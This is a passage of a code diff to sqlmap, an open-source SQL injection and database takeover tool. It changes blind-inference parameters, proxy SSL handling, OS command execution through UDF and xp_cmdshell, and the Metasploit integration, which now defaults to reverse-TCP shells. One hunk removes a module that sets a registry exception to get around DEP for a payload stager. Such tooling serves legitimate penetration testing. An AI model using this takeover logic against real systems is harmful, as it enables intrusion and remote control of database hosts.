outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
|
||||||
|
|
||||||
returnValue = ", ".join([output for output in outputs])
|
returnValue = ", ".join([output for output in outputs])
|
||||||
|
|
||||||
else:
|
else:
|
||||||
returnValue = __goInference(payload, expression, charsetType)
|
returnValue = __goInference(payload, expression, charsetType, firstChar, lastChar)
|
||||||
|
|
||||||
return returnValue
|
return returnValue
|
||||||
|
|
||||||
|
|
||||||
def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=True):
|
def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=True):
|
||||||
"""
|
"""
|
||||||
Retrieve the output of a SQL query taking advantage of an inband SQL
|
Retrieve the output of a SQL query taking advantage of an inband SQL
|
||||||
@@ -331,7 +324,7 @@ def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=Tr
|
|||||||
and expression in kb.resumedQueries[conf.url].keys()
|
and expression in kb.resumedQueries[conf.url].keys()
|
||||||
)
|
)
|
||||||
|
|
||||||
if condition and resumeValue == True:
|
if condition and resumeValue:
|
||||||
output = resume(expression, None)
|
output = resume(expression, None)
|
||||||
|
|
||||||
if not output or ( expected == "int" and not output.isdigit() ):
|
if not output or ( expected == "int" and not output.isdigit() ):
|
||||||
@@ -345,8 +338,7 @@ def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=Tr
|
|||||||
|
|
||||||
return data
|
return data
|
||||||
|
|
||||||
|
def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None):
|
||||||
def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None):
|
|
||||||
"""
|
"""
|
||||||
Called each time sqlmap inject a SQL query on the SQL injection
|
Called each time sqlmap inject a SQL query on the SQL injection
|
||||||
affected parameter. It can call a function to retrieve the output
|
affected parameter. It can call a function to retrieve the output
|
||||||
@@ -376,14 +368,13 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None,
|
|||||||
conf.paramNegative = False
|
conf.paramNegative = False
|
||||||
|
|
||||||
if blind and not value:
|
if blind and not value:
|
||||||
value = __goInferenceProxy(expression, fromUser, expected, batch, resumeValue, unpack, charsetType)
|
value = __goInferenceProxy(expression, fromUser, expected, batch, resumeValue, unpack, charsetType, firstChar, lastChar)
|
||||||
|
|
||||||
conf.paramFalseCond = oldParamFalseCond
|
conf.paramFalseCond = oldParamFalseCond
|
||||||
conf.paramNegative = oldParamNegative
|
conf.paramNegative = oldParamNegative
|
||||||
|
|
||||||
return value
|
return value
|
||||||
|
|
||||||
|
|
||||||
def goStacked(expression, silent=False):
|
def goStacked(expression, silent=False):
|
||||||
expression = cleanQuery(expression)
|
expression = cleanQuery(expression)
|
||||||
|
|
||||||
|
|||||||
@@ -22,13 +22,15 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import httplib
|
import httplib
|
||||||
import socket
|
import socket
|
||||||
import urllib
|
import urllib
|
||||||
import urllib2
|
import urllib2
|
||||||
|
|
||||||
|
from lib.core.settings import PYVERSION
|
||||||
|
|
||||||
|
if PYVERSION >= "2.6":
|
||||||
|
import ssl
|
||||||
|
|
||||||
class ProxyHTTPConnection(httplib.HTTPConnection):
|
class ProxyHTTPConnection(httplib.HTTPConnection):
|
||||||
_ports = {"http" : 80, "https" : 443}
|
_ports = {"http" : 80, "https" : 443}
|
||||||
@@ -57,8 +59,7 @@ class ProxyHTTPConnection(httplib.HTTPConnection):
|
|||||||
self._real_host = host
|
self._real_host = host
|
||||||
self._real_port = int(port)
|
self._real_port = int(port)
|
||||||
|
|
||||||
httplib.HTTPConnection.request(self, method, url, body, headers)
|
httplib.HTTPConnection.request(self, method, rest, body, headers)
|
||||||
|
|
||||||
|
|
||||||
def connect(self):
|
def connect(self):
|
||||||
httplib.HTTPConnection.connect(self)
|
httplib.HTTPConnection.connect(self)
|
||||||
@@ -85,11 +86,10 @@ class ProxyHTTPConnection(httplib.HTTPConnection):
|
|||||||
if line == "\r\n":
|
if line == "\r\n":
|
||||||
break
|
break
|
||||||
|
|
||||||
|
|
||||||
class ProxyHTTPSConnection(ProxyHTTPConnection):
|
class ProxyHTTPSConnection(ProxyHTTPConnection):
|
||||||
default_port = 443
|
default_port = 443
|
||||||
|
|
||||||
def __init__(self, host, port=None, key_file=None, cert_file=None, strict=None):
|
def __init__(self, host, port=None, key_file=None, cert_file=None, strict=None, timeout=None):
|
||||||
ProxyHTTPConnection.__init__(self, host, port)
|
ProxyHTTPConnection.__init__(self, host, port)
|
||||||
self.key_file = key_file
|
self.key_file = key_file
|
||||||
self.cert_file = cert_file
|
self.cert_file = cert_file
|
||||||
@@ -98,9 +98,12 @@ class ProxyHTTPSConnection(ProxyHTTPConnection):
|
|||||||
ProxyHTTPConnection.connect(self)
|
ProxyHTTPConnection.connect(self)
|
||||||
|
|
||||||
# Make the sock ssl-aware
|
# Make the sock ssl-aware
|
||||||
ssl = socket.ssl(self.sock, self.key_file, self.cert_file)
|
if PYVERSION >= "2.6":
|
||||||
self.sock = httplib.FakeSocket(self.sock, ssl)
|
sslobj = ssl.wrap_socket(self.sock, self.key_file, self.cert_file)
|
||||||
|
self.sock = sslobj
|
||||||
|
else:
|
||||||
|
sslobj = socket.ssl(self.sock, self.key_file, self.cert_file)
|
||||||
|
self.sock = httplib.FakeSocket(self.sock, sslobj)
|
||||||
|
|
||||||
class ProxyHTTPHandler(urllib2.HTTPHandler):
|
class ProxyHTTPHandler(urllib2.HTTPHandler):
|
||||||
def __init__(self, proxy=None, debuglevel=0):
|
def __init__(self, proxy=None, debuglevel=0):
|
||||||
@@ -114,7 +117,6 @@ class ProxyHTTPHandler(urllib2.HTTPHandler):
|
|||||||
|
|
||||||
return urllib2.HTTPHandler.do_open(self, ProxyHTTPConnection, req)
|
return urllib2.HTTPHandler.do_open(self, ProxyHTTPConnection, req)
|
||||||
|
|
||||||
|
|
||||||
class ProxyHTTPSHandler(urllib2.HTTPSHandler):
|
class ProxyHTTPSHandler(urllib2.HTTPSHandler):
|
||||||
def __init__(self, proxy=None, debuglevel=0):
|
def __init__(self, proxy=None, debuglevel=0):
|
||||||
self.proxy = proxy
|
self.proxy = proxy
|
||||||
|
|||||||
@@ -22,18 +22,16 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.dump import dumper
|
from lib.core.dump import dumper
|
||||||
|
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||||
from lib.core.shell import autoCompletion
|
from lib.core.shell import autoCompletion
|
||||||
from lib.takeover.udf import UDF
|
from lib.takeover.udf import UDF
|
||||||
from lib.takeover.xp_cmdshell import xp_cmdshell
|
from lib.takeover.xp_cmdshell import xp_cmdshell
|
||||||
|
|
||||||
|
|
||||||
class Abstraction(UDF, xp_cmdshell):
|
class Abstraction(UDF, xp_cmdshell):
|
||||||
"""
|
"""
|
||||||
This class defines an abstraction layer for OS takeover functionalities
|
This class defines an abstraction layer for OS takeover functionalities
|
||||||
@@ -46,10 +44,21 @@ class Abstraction(UDF, xp_cmdshell):
|
|||||||
UDF.__init__(self)
|
UDF.__init__(self)
|
||||||
xp_cmdshell.__init__(self)
|
xp_cmdshell.__init__(self)
|
||||||
|
|
||||||
|
def __cmdShellCleanup(self):
|
||||||
|
if not conf.cleanup:
|
||||||
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||||
|
self.cleanup()
|
||||||
|
|
||||||
|
elif kb.dbms == "Microsoft SQL Server":
|
||||||
|
self.cleanup(onlyFileTbl=True)
|
||||||
|
|
||||||
|
else:
|
||||||
|
errMsg = "Feature not yet implemented for the back-end DBMS"
|
||||||
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
def execCmd(self, cmd, silent=False, forgeCmd=False):
|
def execCmd(self, cmd, silent=False, forgeCmd=False):
|
||||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||||
self.udfExecCmd(cmd, silent)
|
self.udfExecCmd(cmd, silent=silent)
|
||||||
|
|
||||||
elif kb.dbms == "Microsoft SQL Server":
|
elif kb.dbms == "Microsoft SQL Server":
|
||||||
self.xpCmdshellExecCmd(cmd, silent, forgeCmd)
|
self.xpCmdshellExecCmd(cmd, silent, forgeCmd)
|
||||||
@@ -58,19 +67,17 @@ class Abstraction(UDF, xp_cmdshell):
|
|||||||
errMsg = "Feature not yet implemented for the back-end DBMS"
|
errMsg = "Feature not yet implemented for the back-end DBMS"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
|
def evalCmd(self, cmd, first=None, last=None):
|
||||||
def evalCmd(self, cmd):
|
|
||||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||||
return self.udfEvalCmd(cmd)
|
return self.udfEvalCmd(cmd, first, last)
|
||||||
|
|
||||||
elif kb.dbms == "Microsoft SQL Server":
|
elif kb.dbms == "Microsoft SQL Server":
|
||||||
return self.xpCmdshellEvalCmd(cmd)
|
return self.xpCmdshellEvalCmd(cmd, first, last)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
errMsg = "Feature not yet implemented for the back-end DBMS"
|
errMsg = "Feature not yet implemented for the back-end DBMS"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
|
|
||||||
def runCmd(self, cmd):
|
def runCmd(self, cmd):
|
||||||
getOutput = None
|
getOutput = None
|
||||||
|
|
||||||
@@ -88,9 +95,8 @@ class Abstraction(UDF, xp_cmdshell):
|
|||||||
else:
|
else:
|
||||||
self.execCmd(cmd, forgeCmd=True)
|
self.execCmd(cmd, forgeCmd=True)
|
||||||
|
|
||||||
if kb.dbms == "Microsoft SQL Server":
|
if not conf.osShell and not conf.cleanup:
|
||||||
self.cleanup(onlyFileTbl=True)
|
self.__cmdShellCleanup()
|
||||||
|
|
||||||
|
|
||||||
def absOsShell(self):
|
def absOsShell(self):
|
||||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||||
@@ -137,35 +143,25 @@ class Abstraction(UDF, xp_cmdshell):
|
|||||||
|
|
||||||
self.runCmd(command)
|
self.runCmd(command)
|
||||||
|
|
||||||
if not conf.cleanup:
|
self.__cmdShellCleanup()
|
||||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
|
||||||
self.cleanup()
|
|
||||||
|
|
||||||
elif kb.dbms == "Microsoft SQL Server":
|
|
||||||
self.cleanup(onlyFileTbl=True)
|
|
||||||
|
|
||||||
else:
|
|
||||||
errMsg = "Feature not yet implemented for the back-end DBMS"
|
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
|
||||||
|
|
||||||
|
|
||||||
def initEnv(self, mandatory=True, detailed=False):
|
def initEnv(self, mandatory=True, detailed=False):
|
||||||
if self.envInitialized == True:
|
if self.envInitialized:
|
||||||
return
|
return
|
||||||
|
|
||||||
self.checkDbmsOs(detailed)
|
self.checkDbmsOs(detailed)
|
||||||
|
|
||||||
if self.isDba() == False:
|
if not self.isDba():
|
||||||
warnMsg = "the functionality requested might not work because "
|
warnMsg = "the functionality requested might not work because "
|
||||||
warnMsg += "the session user is not a database administrator"
|
warnMsg += "the session user is not a database administrator"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||||
self.udfInit()
|
self.udfInjectCmd()
|
||||||
|
|
||||||
elif kb.dbms == "Microsoft SQL Server":
|
elif kb.dbms == "Microsoft SQL Server":
|
||||||
self.xpCmdshellInit(mandatory)
|
self.xpCmdshellInit(mandatory)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
errMsg = "Feature not yet implemented for the back-end DBMS"
|
errMsg = "feature not yet implemented for the back-end DBMS"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|||||||
@@ -1,176 +0,0 @@
|
|||||||
#!/usr/bin/env python
|
|
||||||
|
|
||||||
"""
|
|
||||||
$Id$
|
|
||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
|
||||||
|
|
||||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
|
||||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
|
||||||
the terms of the GNU General Public License as published by the Free
|
|
||||||
Software Foundation version 2 of the License.
|
|
||||||
|
|
||||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
|
||||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
|
||||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
|
||||||
details.
|
|
||||||
|
|
||||||
You should have received a copy of the GNU General Public License along
|
|
||||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|
||||||
"""
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import os
|
|
||||||
|
|
||||||
from lib.core.common import randomStr
|
|
||||||
from lib.core.common import readInput
|
|
||||||
from lib.core.data import conf
|
|
||||||
from lib.core.data import kb
|
|
||||||
from lib.core.data import logger
|
|
||||||
from lib.core.session import setDEP
|
|
||||||
|
|
||||||
|
|
||||||
class DEP:
|
|
||||||
"""
|
|
||||||
This class defines methods to handle DEP (Data Execution Prevention)
|
|
||||||
|
|
||||||
The following operating systems has DEP enabled by default:
|
|
||||||
* Windows XP SP2+
|
|
||||||
* Windows Server 2003 SP1+
|
|
||||||
* Windows Vista SP0+
|
|
||||||
* Windows 2008 SP0+
|
|
||||||
|
|
||||||
References:
|
|
||||||
* http://support.microsoft.com/kb/875352
|
|
||||||
* http://en.wikipedia.org/wiki/Data_Execution_Prevention
|
|
||||||
"""
|
|
||||||
|
|
||||||
def __init__(self):
|
|
||||||
self.bypassDEP = False
|
|
||||||
self.__supportDEP = False
|
|
||||||
|
|
||||||
|
|
||||||
def __initVars(self, exe):
|
|
||||||
self.__DEPvalues = {
|
|
||||||
"OPTIN": "only Windows system binaries are covered by DEP by default",
|
|
||||||
"OPTOUT": "DEP is enabled by default for all processes, exceptions are allowed",
|
|
||||||
"ALWAYSON": "all processes always run with DEP applied, no exceptions allowed, giving it a try anyway",
|
|
||||||
"ALWAYSOFF": "no DEP coverage for any part of the system"
|
|
||||||
}
|
|
||||||
self.__excRegKey = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers"
|
|
||||||
self.__excRegValue = exe
|
|
||||||
self.__excRegValue = self.__excRegValue.replace("/", "\\")
|
|
||||||
|
|
||||||
|
|
||||||
def __addException(self):
|
|
||||||
infoMsg = "adding an exception to DEP in the Windows registry "
|
|
||||||
infoMsg += "for '%s' executable" % self.__excRegValue
|
|
||||||
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
if kb.dbms == "PostgreSQL":
|
|
||||||
warnMsg = "by default PostgreSQL server runs as postgres "
|
|
||||||
warnMsg += "user which has no privileges to add/delete "
|
|
||||||
warnMsg += "Windows registry keys, sqlmap will give it a try "
|
|
||||||
warnMsg += "anyway"
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
|
|
||||||
self.addRegKey(self.__excRegKey, self.__excRegValue, "REG_SZ", "DisableNXShowUI")
|
|
||||||
|
|
||||||
|
|
||||||
def delException(self):
|
|
||||||
if self.bypassDEP == False:
|
|
||||||
return
|
|
||||||
|
|
||||||
infoMsg = "deleting the exception to DEP in the Windows registry "
|
|
||||||
infoMsg += "for Metasploit Framework 3 payload stager"
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
self.delRegKey(self.__excRegKey, self.__excRegValue)
|
|
||||||
|
|
||||||
|
|
||||||
def __analyzeDEP(self):
|
|
||||||
detectedValue = False
|
|
||||||
|
|
||||||
for value, explanation in self.__DEPvalues.items():
|
|
||||||
if value in kb.dep:
|
|
||||||
detectedValue = True
|
|
||||||
|
|
||||||
if value in ( "OPTIN", "ALWAYSOFF" ):
|
|
||||||
logger.info(explanation)
|
|
||||||
|
|
||||||
self.bypassDEP = False
|
|
||||||
|
|
||||||
elif value == "OPTOUT":
|
|
||||||
logger.info(explanation)
|
|
||||||
|
|
||||||
self.bypassDEP = True
|
|
||||||
self.__addException()
|
|
||||||
|
|
||||||
elif value == "ALWAYSON":
|
|
||||||
logger.warn(explanation)
|
|
||||||
|
|
||||||
self.bypassDEP = True
|
|
||||||
self.__addException()
|
|
||||||
|
|
||||||
if detectedValue == False:
|
|
||||||
warnMsg = "it was not possible to detect the DEP system "
|
|
||||||
warnMsg += "policy, sqlmap will threat as if "
|
|
||||||
warnMsg += "%s" % self.__DEPvalues["OPTOUT"]
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
|
|
||||||
self.__addException()
|
|
||||||
|
|
||||||
|
|
||||||
def __systemHasDepSupport(self):
|
|
||||||
depEnabledOS = {
|
|
||||||
"2003": ( 1, 2 ),
|
|
||||||
"2008": ( 0, 1 ),
|
|
||||||
"XP": ( 2, 3 ),
|
|
||||||
"Vista": ( 0, 1 ),
|
|
||||||
}
|
|
||||||
|
|
||||||
for version, sps in depEnabledOS.items():
|
|
||||||
if kb.osVersion == version and kb.osSP in sps:
|
|
||||||
self.__supportDEP = True
|
|
||||||
break
|
|
||||||
|
|
||||||
|
|
||||||
def handleDep(self, exe):
|
|
||||||
logger.info("handling DEP")
|
|
||||||
|
|
||||||
self.__systemHasDepSupport()
|
|
||||||
|
|
||||||
if self.__supportDEP == True:
|
|
||||||
infoMsg = "the back-end DBMS underlying operating system "
|
|
||||||
infoMsg += "supports DEP: going to handle it"
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
elif not kb.osVersion or not kb.osSP:
|
|
||||||
warnMsg = "unable to fingerprint the back-end DBMS "
|
|
||||||
warnMsg += "underlying operating system version and service "
|
|
||||||
warnMsg += "pack: going to threat as if DEP is enabled"
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
|
|
||||||
self.bypassDEP = True
|
|
||||||
|
|
||||||
else:
|
|
||||||
infoMsg = "the back-end DBMS underlying operating system "
|
|
||||||
infoMsg += "does not support DEP: no need to handle it"
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
return
|
|
||||||
|
|
||||||
logger.info("checking DEP system policy")
|
|
||||||
|
|
||||||
self.__initVars(exe)
|
|
||||||
|
|
||||||
if not kb.dep:
|
|
||||||
kb.dep = self.readRegKey("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control", "SystemStartOptions", True).upper()
|
|
||||||
setDEP()
|
|
||||||
|
|
||||||
self.__analyzeDEP()
|
|
||||||
@@ -22,9 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import binascii
|
|
||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
import stat
|
import stat
|
||||||
@@ -62,20 +59,22 @@ class Metasploit:
|
|||||||
|
|
||||||
def __initVars(self):
|
def __initVars(self):
|
||||||
self.connectionStr = None
|
self.connectionStr = None
|
||||||
|
self.lhostStr = None
|
||||||
self.rhostStr = None
|
self.rhostStr = None
|
||||||
self.portStr = None
|
self.portStr = None
|
||||||
self.payloadStr = None
|
self.payloadStr = None
|
||||||
self.encoderStr = None
|
self.encoderStr = None
|
||||||
|
self.payloadConnStr = None
|
||||||
|
|
||||||
self.resourceFile = None
|
self.resourceFile = None
|
||||||
|
|
||||||
self.localIP = getLocalIP()
|
self.localIP = getLocalIP()
|
||||||
self.remoteIP = getRemoteIP()
|
self.remoteIP = getRemoteIP()
|
||||||
|
|
||||||
self.__msfCli = os.path.normpath("%s/msfcli" % conf.msfPath)
|
self.__msfCli = os.path.normpath(os.path.join(conf.msfPath, "msfcli"))
|
||||||
self.__msfConsole = os.path.normpath("%s/msfconsole" % conf.msfPath)
|
self.__msfConsole = os.path.normpath(os.path.join(conf.msfPath, "msfconsole"))
|
||||||
self.__msfEncode = os.path.normpath("%s/msfencode" % conf.msfPath)
|
self.__msfEncode = os.path.normpath(os.path.join(conf.msfPath, "msfencode"))
|
||||||
self.__msfPayload = os.path.normpath("%s/msfpayload" % conf.msfPath)
|
self.__msfPayload = os.path.normpath(os.path.join(conf.msfPath, "msfpayload"))
|
||||||
|
|
||||||
self.__msfPayloadsList = {
|
self.__msfPayloadsList = {
|
||||||
"windows": {
|
"windows": {
|
||||||
@@ -90,14 +89,13 @@ class Metasploit:
|
|||||||
|
|
||||||
self.__msfConnectionsList = {
|
self.__msfConnectionsList = {
|
||||||
"windows": {
|
"windows": {
|
||||||
1: ( "Bind TCP (default)", "bind_tcp" ),
|
1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
|
||||||
2: ( "Bind TCP (No NX)", "bind_nonx_tcp" ),
|
2: ( "Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports" ),
|
||||||
3: ( "Reverse TCP", "reverse_tcp" ),
|
3: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" ),
|
||||||
4: ( "Reverse TCP (No NX)", "reverse_nonx_tcp" ),
|
|
||||||
},
|
},
|
||||||
"linux": {
|
"linux": {
|
||||||
1: ( "Bind TCP (default)", "bind_tcp" ),
|
1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
|
||||||
2: ( "Reverse TCP", "reverse_tcp" ),
|
2: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" ),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -127,27 +125,26 @@ class Metasploit:
|
|||||||
}
|
}
|
||||||
|
|
||||||
self.__portData = {
|
self.__portData = {
|
||||||
"bind": "remote port numer",
|
"bind": "remote port number",
|
||||||
"reverse": "local port numer",
|
"reverse": "local port number",
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
|
def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
|
||||||
if kb.os == "Windows":
|
if kb.os == "Windows":
|
||||||
os = "windows"
|
opSys = "windows"
|
||||||
else:
|
else:
|
||||||
os = "linux"
|
opSys = "linux"
|
||||||
|
|
||||||
message = "which %s do you want to use?" % msg
|
message = "which %s do you want to use?" % msg
|
||||||
|
|
||||||
if lst:
|
if lst:
|
||||||
for num, data in lst[os].items():
|
for num, data in lst[opSys].items():
|
||||||
description = data[0]
|
description = data[0]
|
||||||
|
|
||||||
if num > maxValue:
|
if num > maxValue:
|
||||||
maxValue = num
|
maxValue = num
|
||||||
|
|
||||||
if "default" in description:
|
if "(default)" in description:
|
||||||
default = num
|
default = num
|
||||||
|
|
||||||
message += "\n[%d] %s" % (num, description)
|
message += "\n[%d] %s" % (num, description)
|
||||||
@@ -173,26 +170,26 @@ class Metasploit:
|
|||||||
choice = int(choice)
|
choice = int(choice)
|
||||||
|
|
||||||
if lst:
|
if lst:
|
||||||
choice = lst[os][choice][1]
|
choice = lst[opSys][choice][1]
|
||||||
|
|
||||||
return choice
|
return choice
|
||||||
|
|
||||||
|
|
||||||
def __selectSMBPort(self):
|
def __selectSMBPort(self):
|
||||||
return self.__skeletonSelection("SMB port", self.__msfSMBPortsList)
|
return self.__skeletonSelection("SMB port", self.__msfSMBPortsList)
|
||||||
|
|
||||||
|
|
||||||
def __selectEncoder(self, encode=True):
|
def __selectEncoder(self, encode=True):
|
||||||
if kb.os == "Windows" and encode == True:
|
if isinstance(encode, str):
|
||||||
|
return encode
|
||||||
|
|
||||||
|
elif kb.os == "Windows" and encode:
|
||||||
return self.__skeletonSelection("payload encoding", self.__msfEncodersList)
|
return self.__skeletonSelection("payload encoding", self.__msfEncodersList)
|
||||||
|
|
||||||
|
|
||||||
def __selectPayload(self, askChurrasco=True):
|
def __selectPayload(self, askChurrasco=True):
|
||||||
if kb.os == "Windows" and conf.privEsc == True:
|
if kb.os == "Windows" and conf.privEsc:
|
||||||
infoMsg = "forcing Metasploit payload to Meterpreter because "
|
infoMsg = "forcing Metasploit payload to Meterpreter because "
|
||||||
infoMsg += "it is the only payload that can be used to abuse "
|
infoMsg += "it is the only payload that can abuse Windows "
|
||||||
infoMsg += "Windows Impersonation Tokens via Meterpreter "
|
infoMsg += "Access Tokens via Meterpreter 'incognito' "
|
||||||
infoMsg += "'incognito' extension to privilege escalate"
|
infoMsg += "extension to privilege escalate"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
__payloadStr = "windows/meterpreter"
|
__payloadStr = "windows/meterpreter"
|
||||||
@@ -221,12 +218,12 @@ class Metasploit:
|
|||||||
choose = True
|
choose = True
|
||||||
|
|
||||||
warnMsg = "it is unlikely that the VNC injection will be "
|
warnMsg = "it is unlikely that the VNC injection will be "
|
||||||
warnMsg += "successful because often Microsoft SQL Server "
|
warnMsg += "successful because usually Microsoft SQL Server "
|
||||||
warnMsg += "%s runs as Network Service " % kb.dbmsVersion[0]
|
warnMsg += "%s runs as Network Service " % kb.dbmsVersion[0]
|
||||||
warnMsg += "or the Administrator is not logged in"
|
warnMsg += "or the Administrator is not logged in"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
if choose == True:
|
if choose:
|
||||||
message = "what do you want to do?\n"
|
message = "what do you want to do?\n"
|
||||||
message += "[1] Give it a try anyway\n"
|
message += "[1] Give it a try anyway\n"
|
||||||
message += "[2] Fall back to Meterpreter payload (default)\n"
|
message += "[2] Fall back to Meterpreter payload (default)\n"
|
||||||
@@ -251,7 +248,7 @@ class Metasploit:
|
|||||||
|
|
||||||
break
|
break
|
||||||
|
|
||||||
elif askChurrasco == False:
|
elif not askChurrasco:
|
||||||
logger.warn("beware that the VNC injection might not work")
|
logger.warn("beware that the VNC injection might not work")
|
||||||
|
|
||||||
break
|
break
|
||||||
@@ -259,7 +256,7 @@ class Metasploit:
|
|||||||
elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||||
uploaded = self.uploadChurrasco()
|
uploaded = self.uploadChurrasco()
|
||||||
|
|
||||||
if uploaded == False:
|
if not uploaded:
|
||||||
warnMsg = "beware that the VNC injection "
|
warnMsg = "beware that the VNC injection "
|
||||||
warnMsg += "might not work"
|
warnMsg += "might not work"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
@@ -274,13 +271,11 @@ class Metasploit:
|
|||||||
|
|
||||||
return __payloadStr
|
return __payloadStr
|
||||||
|
|
||||||
|
|
||||||
def __selectPort(self):
|
def __selectPort(self):
|
||||||
for connType, connStr in self.__portData.items():
|
for connType, connStr in self.__portData.items():
|
||||||
if self.connectionStr.startswith(connType):
|
if self.connectionStr.startswith(connType):
|
||||||
return self.__skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535))
|
return self.__skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535))
|
||||||
|
|
||||||
|
|
||||||
def __selectRhost(self):
|
def __selectRhost(self):
|
||||||
if self.connectionStr.startswith("bind"):
|
if self.connectionStr.startswith("bind"):
|
||||||
message = "which is the back-end DBMS address? [%s] " % self.remoteIP
|
message = "which is the back-end DBMS address? [%s] " % self.remoteIP
|
||||||
@@ -297,22 +292,40 @@ class Metasploit:
|
|||||||
else:
|
else:
|
||||||
raise sqlmapDataException, "unexpected connection type"
|
raise sqlmapDataException, "unexpected connection type"
|
||||||
|
|
||||||
|
def __selectLhost(self):
|
||||||
|
if self.connectionStr.startswith("reverse") or self.resourceFile is not None:
|
||||||
|
message = "which is the local address? [%s] " % self.localIP
|
||||||
|
address = readInput(message, default=self.localIP)
|
||||||
|
|
||||||
|
if not address:
|
||||||
|
address = self.localIP
|
||||||
|
|
||||||
|
return address
|
||||||
|
|
||||||
|
elif self.connectionStr.startswith("bind"):
|
||||||
|
return None
|
||||||
|
|
||||||
|
else:
|
||||||
|
raise sqlmapDataException, "unexpected connection type"
|
||||||
|
|
||||||
def __selectConnection(self):
|
def __selectConnection(self):
|
||||||
